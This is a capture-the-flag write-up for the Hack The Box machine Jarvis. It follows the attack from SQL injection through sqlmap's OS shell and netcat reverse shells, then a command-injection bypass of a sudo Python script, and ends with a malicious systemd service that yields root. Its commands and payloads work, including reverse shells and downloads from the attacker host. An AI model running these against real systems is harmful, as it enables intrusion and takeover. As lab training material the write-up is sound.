Jarvis is a Medium linux box released back in June 2019.
As always we begin our Enumeration using Nmap to enumerate opened ports. We will be using the flags -sC for default scripts and -sV to enumerate versions.
[ 10.10.14.15/23 ] [ /dev/pts/5 ] [~]
→ sudo nmap -vvv -sTU -p- 10.10.10.143 --max-retries 0 -Pn --min-rate=500 | grep Discovered
[sudo] password for nothing:
Discovered open port 22/tcp on 10.10.10.143
Discovered open port 80/tcp on 10.10.10.143
[ 10.10.14.15/23 ] [ /dev/pts/5 ] [~]
→ nmap -sCV -p22,80 10.10.10.143
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-24 13:36 BST
Nmap scan report for 10.10.10.143
Host is up (0.16s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)
| 256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)
|_ 256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Stark Hotel
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.29 seconds
Our nmap scan picked up port 80 so let's investigate it:
[ 10.10.14.15/23 ] [ /dev/pts/5 ] [~]
→ dirsearch -u http://10.10.10.143 -e php,txt,html -t 50
git clone https://github.com/maurosoria/dirsearch.git
dirsearch -u -e -t 50 -x 500
_|. _ _ _ _ _ _|_ v0.3.9
(_||| _) (/_(_|| (_| )
Extensions: php, txt, html | HTTP method: get | Threads: 50 | Wordlist size: 6748
Error Log: /home/nothing/Desktop/Tools/dirsearch/logs/errors-20-04-24_13-40-43.log
Target: http://10.10.10.143
[13:40:43] Starting:
[13:40:46] 403 - 298B - /.ht_wsr.txt
[13:40:46] 403 - 300B - /.htaccess-dev
[13:40:46] 403 - 291B - /.hta
[13:40:46] 403 - 300B - /.htaccess.BAK
[13:40:46] 403 - 301B - /.htaccess.bak1
[13:40:46] 403 - 302B - /.htaccess-marco
[13:40:46] 403 - 302B - /.htaccess-local
[13:40:46] 403 - 300B - /.htaccess.old
[13:40:46] 403 - 301B - /.htaccess.orig
[13:40:46] 403 - 303B - /.htaccess.sample
[13:40:46] 403 - 301B - /.htaccess.save
[13:40:46] 403 - 300B - /.htaccess.txt
[13:40:46] 403 - 302B - /.htaccess_extra
[13:40:46] 403 - 301B - /.htaccess_orig
[13:40:46] 403 - 299B - /.htaccessOLD
[13:40:46] 403 - 299B - /.htaccessBAK
[13:40:46] 403 - 299B - /.htaccess_sc
[13:40:46] 403 - 300B - /.htaccessOLD2
[13:40:46] 403 - 297B - /.htaccess~
[13:40:46] 403 - 295B - /.htgroup
[13:40:46] 403 - 300B - /.htpasswd-old
[13:40:46] 403 - 301B - /.htpasswd_test
[13:40:46] 403 - 297B - /.htpasswds
[13:40:46] 403 - 295B - /.htusers
[13:41:00] 301 - 310B - /css -> http://10.10.10.143/css/
[13:41:02] 301 - 312B - /fonts -> http://10.10.10.143/fonts/
[13:41:04] 301 - 313B - /images -> http://10.10.10.143/images/
[13:41:04] 200 - 23KB - /index.php
[13:41:04] 200 - 23KB - /index.php/login/
[13:41:04] 301 - 309B - /js -> http://10.10.10.143/js/
[13:41:08] 301 - 317B - /phpmyadmin -> http://10.10.10.143/phpmyadmin/
[13:41:09] 200 - 14KB - /phpmyadmin/
[13:41:11] 403 - 300B - /server-status
[13:41:11] 403 - 301B - /server-status/
Task Completed
now the interesting here is to head over to the room.php page where there is a SQL injectable parameter "cod" :
So using the sqlmap command focused on the cod parameter, with the --batch parameter to let sqlmap decide instead
[ 10.10.14.15/23 ] [ /dev/pts/7 ] [~]
→ sqlmap -u http://10.10.10.143/room.php\?cod\=2 -p cod --batch
___
__H__
___ ___[,]_____ ___ ___ {1.4.4#stable}
|_ -| . [ ] | .| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 13:47:56 /2020-04-24/
[13:47:56] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=ijsh9b7tldb...pd5ok0b5u4'). Do you want to use those [Y/n] Y
[...]
[13:48:22] [INFO] GET parameter 'cod' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'cod' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 81 HTTP(s) requests:
---
Parameter: cod (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cod=2 AND 9936=9936
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cod=2 AND (SELECT 8855 FROM (SELECT(SLEEP(5)))rNre)
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: cod=-7095 UNION ALL SELECT NULL,NULL,CONCAT(0x71766a7671,0x526d7a7a434367667152426962716277476468697647506b63536544554f696444474c4242465369,0x7170626a71),NULL,NULL,NULL,NULL-- -
---
[13:48:23] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[13:48:23] [INFO] fetched data logged to text files under '/home/nothing/.sqlmap/output/10.10.10.143'
[*] ending @ 13:48:23 /2020-04-24/
So our sqlmap scan picked up the boolean-based blind sql injection "cod=2 AND 9936=9936" and the a time-based blind sql injection "cod=2 AND (SELECT 8855 FROM (SELECT(SLEEP(5)))rNre)" The last UNION query sql injection seems a bit extreme, so we'll use one the first two to continue by supplying the following --random-agent and --os-pwn flags :
[ 10.10.14.15/23 ] [ /dev/pts/5 ] [~]
→ sudo sqlmap -u http://10.10.10.143/room.php\?cod\=1 -p cod --delay 2 --os-shell --batch
___
__H__
___ ___[)]_____ ___ ___ {1.4.4#stable}
|_ -| . ['] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 14:25:42 /2020-04-24/
[14:25:42] [INFO] resuming back-end DBMS 'mysql'
[14:25:42] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=sdu9as9sjto...hj8maof8n6'). Do you want to use those [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cod (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cod=1 AND 1211=1211
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cod=1 AND (SELECT 7286 FROM (SELECT(SLEEP(5)))vLIW)
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: cod=-6450 UNION ALL SELECT CONCAT(0x7178716a71,0x685a4e4644627879677847584e50544e4f5763536e455059626b5570475768784c51795749596957,0x71626b7871),NULL,NULL,NULL,NULL,NULL,NULL-- -
---
[14:25:44] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[14:25:44] [INFO] going to use a web backdoor for command prompt
[14:25:44] [INFO] fingerprinting the back-end DBMS operating system
[14:25:44] [INFO] the back-end DBMS operating system is Linux
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
> 4
[14:25:44] [WARNING] unable to automatically retrieve the web server document root
what do you want to use for writable directory?
[1] common location(s) ('/var/www/, /var/www/html, /var/www/htdocs, /usr/local/apache2/htdocs, /usr/local/www/data, /var/apache2/htdocs, /var/www/nginx-default, /srv/www/htdocs') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 1
[14:25:44] [INFO] retrieved web server absolute paths: '/images/'
[14:25:44] [INFO] trying to upload the file stager on '/var/www/' via LIMIT 'LINES TERMINATED BY' method
[14:25:53] [WARNING] unable to upload the file stager on '/var/www/'
[14:25:53] [INFO] trying to upload the file stager on '/var/www/' via UNION method
[14:25:55] [WARNING] expect junk characters inside the file as a leftover from UNION query
[14:25:58] [WARNING] it looks like the file has not been written (usually occurs if the DBMS process user has no write privileges in the destination path)
[14:26:04] [INFO] trying to upload the file stager on '/var/www/html/' via LIMIT 'LINES TERMINATED BY' method
[14:26:15] [INFO] the file stager has been successfully uploaded on '/var/www/html/' - http://10.10.10.143:80/tmpuuhgv.php
[14:26:19] [INFO] the backdoor has been successfully uploaded on '/var/www/html/' - http://10.10.10.143:80/tmpbbmyz.php
[14:26:19] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> ls
do you want to retrieve the command standard output? [Y/n/a] Y
command standard output:
---
ayax
b4nn3d
connection.php
css
dining-bar.php
fonts
footer.php
getfileayax.php
images
index.php
js
nav.php
phpmyadmin
room.php
roomobj.php
rooms-suites.php
sass
tmpbbhty.php
tmpbbmyz.php
tmpbfoqa.php
tmpukixw.php
tmpuqxde.php
tmpuuhgv.php
---
os-shell>
So here we have a shitty shell, which we need to spawn a proper shell:
os-shell> id
do you want to retrieve the command standard output? [Y/n/a] Y
No output
os-shell> which bash
do you want to retrieve the command standard output? [Y/n/a] Y
command standard output: '/bin/bash'
os-shell> bash
do you want to retrieve the command standard output? [Y/n/a] Y
No output
os-shell> which python
do you want to retrieve the command standard output? [Y/n/a] Y
os-shell> python -c 'import pty;pty.spawn("/bin/bash");'
do you want to retrieve the command standard output? [Y/n/a] Y
No output
It's not as trivial as it sounds like, because we can't seem to escape said shell yet. So the thing here is that we are able to upload a netcat binary in order to spawn a reverse shell for us:
Terminal 1:
[ 10.10.14.15/23 ] [ /dev/pts/6 ] [~/_HTB/Jarvis]
→ which nc
/usr/bin/nc
[ 10.10.14.15/23 ] [ /dev/pts/6 ] [~/_HTB/Jarvis]
→ cp /usr/bin/nc .
[ 10.10.14.15/23 ] [ /dev/pts/6 ] [~/_HTB/Jarvis]
→ file nc
nc: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=22b9d8e181fb120b26a0b11142547e0dfbde8a83, for GNU/Linux 3.2.0, stripped
[ 10.10.14.15/23 ] [ /dev/pts/6 ] [~/_HTB/Jarvis]
→ python3 -m http.server 9091
Serving HTTP on 0.0.0.0 port 9091 (http://0.0.0.0:9091/) ...
os-shell> which wget
do you want to retrieve the command standard output? [Y/n/a] Y
command standard output: '/usr/bin/wget'
os-shell> wget http://10.10.14.15:9091/nc
do you want to retrieve the command standard output? [Y/n/a] Y
command standard output:
---
--2020-04-24 10:53:19-- http://10.10.14.15:9091/nc
Connecting to 10.10.14.15:9091... connected.
HTTP request sent, awaiting response... 200 OK
Length: 35520 (35K) [application/octet-stream]
Saving to: 'nc'
0K .......... .......... .......... .... 100% 307K=0.1s
2020-04-24 10:53:20 (307 KB/s) - 'nc' saved [35520/35520]
---
os-shell> nc 10.10.14.15 9001 -e /bin/bash
do you want to retrieve the command standard output? [Y/n/a] Y
[ 10.10.14.15/23 ] [ /dev/pts/6 ] [~/_HTB/Jarvis]
→ sudo nc -lvnp 9001
[sudo] password for nothing:
listening on [any] 9001 ...
connect to [10.10.14.15] from (UNKNOWN) [10.10.10.143] 59194
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
which python
/usr/bin/python
python -c 'import pty;pty.spawn("/bin/bash");'
www-data@jarvis:/var/www/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@jarvis:/var/www/html$ cd /home
cd /home
www-data@jarvis:/home$ ls
ls
pepper
www-data@jarvis:/home$ cd pepper
cd pepper
www-data@jarvis:/home/pepper$ ls
ls
Web user.txt
www-data@jarvis:/home/pepper$ cat user.txt
cat user.txt
cat: user.txt: Permission denied
So we need to privesc to the user pepper, first thing to look into is sudo -l :
www-data@jarvis:/home/pepper$ sudo -l
sudo -l
Matching Defaults entries for www-data on jarvis:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on jarvis:
(pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py
www-data@jarvis:/home/pepper$ cd /var/www/Admin-Utilities
cd /var/www/Admin-Utilities
www-data@jarvis:/var/www/Admin-Utilities$ ls -lash
ls -lash
total 16K
4.0K drwxr-xr-x 2 pepper pepper 4.0K Mar 4 2019 .
4.0K drwxr-xr-x 4 root root 4.0K Mar 4 2019 ..
8.0K -rwxr--r-- 1 pepper pepper 4.5K Mar 4 2019 simpler.py
www-data@jarvis:/var/www/Admin-Utilities$ python3 simpler.py
python3 simpler.py
***********************************************
_ _
___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
|_| |_| |___/
@ironhackers.es
***********************************************
********************************************************
* Simpler - A simple simplifier ;) *
* Version 1.0 *
********************************************************
Usage: python3 simpler.py [options]
Options:
-h/--help : This help
-s : Statistics
-l : List the attackers IP
-p : ping an attacker IP
So the trick here is to ping ourselves, and to try to not kill the current shell, because the ping command runs infintiely, to shut it down means to hit Ctrl+C and therefore end the shell.
www-data@jarvis:/var/www/Admin-Utilities$ python3 simpler.py -p
python3 simpler.py -p
***********************************************
_ _
___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
|_| |_| |___/
@ironhackers.es
***********************************************
Enter an IP: 10.10.14.15 & whoami
10.10.14.15 & whoami
Got you
Looking at the sourcecode of the script we see that it filters out the following characters:
www-data@jarvis:/var/www/Admin-Utilities$ cat simpler.py | grep forbidden
cat simpler.py | grep forbidden
forbidden = ['&', ';', '-', '`', '||', '|']
for i in forbidden:
So the idea here is to make a script that will spawn another reverse shell, this time as the user pepper, thanks to the python script itself, since we can inject the characters $(/path/to/script)
www-data@jarvis:/var/www/Admin-Utilities$ touch ech0
touch ech0
touch: cannot touch 'ech0': Permission denied
www-data@jarvis:/var/www/Admin-Utilities$ touch /tmp/ech0
touch /tmp/ech0
www-data@jarvis:/var/www/Admin-Utilities$
And said script we have to save it into a directory where we have writing access, /tmp in particular with which the netcat binary will also be:
www-data@jarvis:/var/www/Admin-Utilities$ touch /tmp/ech0
www-data@jarvis:/var/www/Admin-Utilities$ chmod +x /tmp/ech0 && chmod +x /tmp/nc
www-data@jarvis:/var/www/Admin-Utilities$ echo '#!/bin/sh' > /tmp/ech0
www-data@jarvis:/var/www/Admin-Utilities$ echo 'nc -e /bin/bash 10.10.14.15 9002' >> /tmp/ech0
www-data@jarvis:/var/www/Admin-Utilities$ cat /tmp/ech0
cat /tmp/ech0
#!/bin/sh
nc -e /bin/bash 10.10.14.15 9002
And that's it ! we have been able to print out the user flag.
In order to privesc to the root user, we can first off upgrade our current shell by making a ssh connection:
[ 10.10.14.15/23 ] [ /dev/pts/8 ] [~/.ssh]
→ cp id_rsa ~/_HTB/Jarvis
[ 10.10.14.15/23 ] [ /dev/pts/8 ] [~/.ssh]
→ cd ~/_HTB
[ 10.10.14.15/23 ] [ /dev/pts/8 ] [~/_HTB]
→ ls
Arkham dupent Jarvis Luke Querier Unattended
[ 10.10.14.15/23 ] [ /dev/pts/8 ] [~/_HTB]
→ cd Jarvis
[ 10.10.14.15/23 ] [ /dev/pts/8 ] [~/_HTB/Jarvis]
→ ls
id_rsa id_rsa.pub nc
[ 10.10.14.15/23 ] [ /dev/pts/8 ] [~/_HTB/Jarvis]
→ ssh pepper@10.10.10.143 -i id_rsa
Linux jarvis 4.9.0-8-amd64 #1 SMP Debian 4.9.144-3.1 (2019-02-19) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Apr 24 11:36:53 2020 from 10.10.14.15
pepper@jarvis:~$
So now that we can easily ssh into the box we can run LinEnum.sh like so :
Running it we see that there is an interesting SUID file which is systemctl, it has permissions to edit sqli-defender.service in particular:
We could have also found it this way by finding the files with the 4000 permissions:
pepper@jarvis:/etc/systemd/system$ find / -perm /4000 2>/dev/null
/bin/fusermount
/bin/mount
/bin/ping
/bin/systemctl
/bin/umount
/bin/su
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/chfn
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
To which systemctl obviously stands out, So now we know that we can run systemctl as root, so we can register new services that will spawn a reverse shell for us:
pepper@jarvis:/etc/systemd/system$ nano /tmp/n0thing.service
pepper@jarvis:/etc/systemd/system$ cat /tmp/n0thing.service
[Unit]
Description=N0thing
[Service]
ExecStart=/bin/nc -e /bin/bash 10.10.14.15 9004
[Install]
WantedBy=multi-user.target
Register the new service and then we can start it:
And that's it ! we have been able to print out the root flag.
Here we can see the progress graph :
Some Address 67120,
Duttlenheim, France.
This cute theme was created to showcase your work in a simple way. Use it wisely.